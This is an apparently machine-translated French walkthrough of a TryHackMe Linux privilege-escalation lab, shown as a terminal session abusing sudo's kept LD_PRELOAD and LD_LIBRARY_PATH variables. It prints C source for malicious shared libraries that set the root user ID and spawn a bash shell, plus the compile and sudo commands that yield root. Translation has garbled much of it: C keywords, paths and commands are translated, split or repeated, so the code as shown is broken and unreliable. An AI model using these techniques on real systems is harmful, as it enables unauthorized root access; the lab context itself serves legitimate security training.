[TRYHACKME] Escalade du privilège en utilisant les variables d'environnement LD_PRELOAD et LD_LIBRARY_PATH! Linux PRIVEUP PARTIE 4

└─ $ ssh user@10.10.6.35 L'authenticité de l'hôte '10 .10.6.35 (10.10.6.35) 'ne peut pas être établie. L'empreinte digitale de la clés DSA est SHA256: p2nssfvyjvk1qe0tsnx5g2h8aawyrn71jdz3ueodbma. Cette clé n'est connue par d'autres noms, êtes-vous sûr de continuer à vous connecter (oui / non / [empreinte digitale])? Oui Avertissement: Ajout en permanence '10 .10.6.35 '(DSA) à la liste des hôtes connus. user@10.10.6.35's: Linux Debian 2.6.32-5-AMD64 # 1 SMP TUe 13 mai 16:34:35 UTC 2014 X86_64 Les programmes inclus avec le système Debian GNU / Linux sont un logiciel gratuit; Les termes de distribution exacts de chaque programme sont décrits dans les fichiers individuels dans / usr / share / doc / * / copyright. Debian GNU / Linux ne comporte absolument aucune garantie, dans la mesure permise par la loi applicable. Dernière connexion: ven 15 mai 06:41:23 2020 De 192.168.1.125 User @ debian: ~ $ sudo -l correspondant aux par défaut pour l'utilisateur sur cet hôte: Env_Reset, Env_keep + = ld_preload, Env_keep + = LD_LIBRARY_PATH

user @ debian: ~ $ sudo -l correspondant aux inscriptions par défaut pour l'utilisateur sur cet hôte: Env_Reset, Env_keep + = ld_preload, Env_keep + = ld_library_path l'utilisateur peut exécuter les commandes suivantes sur cet hôte: (root) nopasswd: / usr / sbin / root) nopasswdwd: / usr / bin / find) / / bin / nano (root) nopasswd: / usr / bin / vim (root) nopasswd: / usr / bin / man (root) nopasswd: / usr / bin / awk (root) nopasswd: / usr / bin / moins (root) nopasswd: / usr / bin / ftp (root) nopasswd: / usr / bin / ftp (root) nopasswd: / usr / bin / ftp (root) nopasswd: / usr / bin / ftp (root) nopasswd: / usr / bin / ftp (root) nopasswd: / usr / bin / ftp) (root) nopasswd: / usr / sbin / apache2 (root) nopasswd: / bin / Plus

utilisateur @ debian: ~ $ cat /home/user/tools/sudo/preload.c #include<stdio.h> #inclure<sys/types.h> #inclure<stdlib.h> void _init () {unsetenv ("ld_preload"); setResuid (0,0,0); système ("/ bin / bash -p"); }

Utilisateur @ debian: ~ $ gcc -fpic -shared -NostartFiles -o /tmp/preload.so /home/user/tools/sudo/preload.c

Utilisateur @ debian: ~ $ sudo ld_preload = / tmp / preload.so Recherchez root @ debian: / home / user # whoami root

user @ debian: ~ $ ldd / usr / sbin / apache2 linux-vdso.so.1 => (0x00007fff84ee8000) libpcre.so.3 => /lib/x86_64-inux-gnu/libpcre.so.3 (0x007fba94c5c000) libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007fba94a38000) libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007fba94a38000) libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 => /usr/lib/liba (0x00007fba947fe000) libpthread.so.0 => /lib/libpthread.so.0 (0x00007fba945e2000) libc.so.6 => /lib/libc.so.6 (0x00007fba94276000) libuUid.so.1 => / /libuuid.soid.1 (0x00007fba94071000) libt.so.1 => /lib/libt.so.1 (0x00007fba93e69000) libcrypt.so.1 => /lib/libdl.so.1 (0x00007fba93c32000) libdl.so.2 => / /libdl.so.2 (0x00007fba93a2d000) libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007fba93805000) /lib64/ld-linux-x86-64.so.2 (0x00007fba95119000)

utilisateur @ debian: ~ $ cat /home/user/tools/sudo/library_path.c #include<stdio.h> #inclure<stdlib.h> statique void hijack () __attribute __ ((constructeur)); void hijack () {unsetenv ("ld_library_path"); setResuid (0,0,0); système ("/ bin / bash -p"); }

user @ debian: ~ $ gcc -o /tmp/libcrypt.so.1 -shared -fpic /home/user/tools/sudo/library_path.c

user @ debian: ~ $ sudo ld_library_path = / tmp apache2 apache2: /tmp/libcrypt.so.1: aucune information de version disponible (requise par /usr/lib/libaprutil-1.so.0) root @ debian: / home / user # whoami root root